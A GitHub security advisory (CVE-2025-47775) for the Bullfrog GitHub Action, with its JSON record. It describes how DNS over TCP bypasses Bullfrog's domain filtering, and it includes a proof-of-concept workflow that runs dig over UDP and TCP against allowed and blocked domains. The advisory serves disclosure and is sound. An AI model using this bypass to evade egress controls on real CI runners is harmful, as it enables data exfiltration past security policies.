GHSA-M32F-FJW2-37V3

Vulnerability from github – Published: 2025-05-15 17:23 – Updated: 2025-05-15 17:23
VLAI
Summary
Bullfrog's DNS over TCP bypasses domain filtering
Details

Summary

Using tcp breaks blocking and allows DNS exfiltration.

PoC

name: test
on:
  push:
    branches:
      - "*"

jobs:
  testBullFrog:
    runs-on: ubuntu-22.04
    steps:
      - name: Use google dns
        run: |
          sudo resolvectl dns eth0 1.1.1.1
          resolvectl status
      - name: Set up bullfrog to block everything
        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2
        with:
           egress-policy: block
           allowed-domains: |
             *.github.com
      - name: Test connectivity
        run: |
          echo testing udp allowed ..
          dig api.github.com @1.1.1.1 || :
          echo testing tcp allowed ..
          dig api.github.com @1.1.1.1 +tcp || :

          echo testing udp not allowed
          dig api.google.com @1.1.1.1 || :
          echo testing tcp not allowed
          dig api.google.com @1.1.1.1 +tcp || :

Impact

sandbox bypass

image

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "GitHub Actions",
        "name": "bullfrogsec/bullfrog"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47775"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-15T17:23:04Z",
    "nvd_published_at": "2025-05-14T16:15:28Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nUsing tcp breaks blocking and allows DNS exfiltration. \n\n### PoC\n\n```\nname: test\non:\n  push:\n    branches:\n      - \"*\"\n\njobs:\n  testBullFrog:\n    runs-on: ubuntu-22.04\n    steps:\n      - name: Use google dns\n        run: |\n          sudo resolvectl dns eth0 1.1.1.1\n          resolvectl status\n      - name: Set up bullfrog to block everything\n        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2\n        with:\n           egress-policy: block\n           allowed-domains: |\n             *.github.com\n      - name: Test connectivity\n        run: |\n          echo testing udp allowed ..\n          dig api.github.com @1.1.1.1 || :\n          echo testing tcp allowed ..\n          dig api.github.com @1.1.1.1 +tcp || :\n\n          echo testing udp not allowed\n          dig api.google.com @1.1.1.1 || :\n          echo testing tcp not allowed\n          dig api.google.com @1.1.1.1 +tcp || :\n```\n\n### Impact\n\nsandbox bypass\n\n![image](https://github.com/user-attachments/assets/fba18a17-2d49-48cd-9aae-713e95b5270d)",
  "id": "GHSA-m32f-fjw2-37v3",
  "modified": "2025-05-15T17:23:04Z",
  "published": "2025-05-15T17:23:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bullfrogsec/bullfrog/security/advisories/GHSA-m32f-fjw2-37v3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47775"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bullfrogsec/bullfrog/commit/ae7744ae4b3a6f8ffc2e49f501e30bf1a43d4671"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bullfrogsec/bullfrog"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bullfrogsec/bullfrog/releases/tag/v0.8.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Bullfrog\u0027s DNS over TCP bypasses domain filtering"
}



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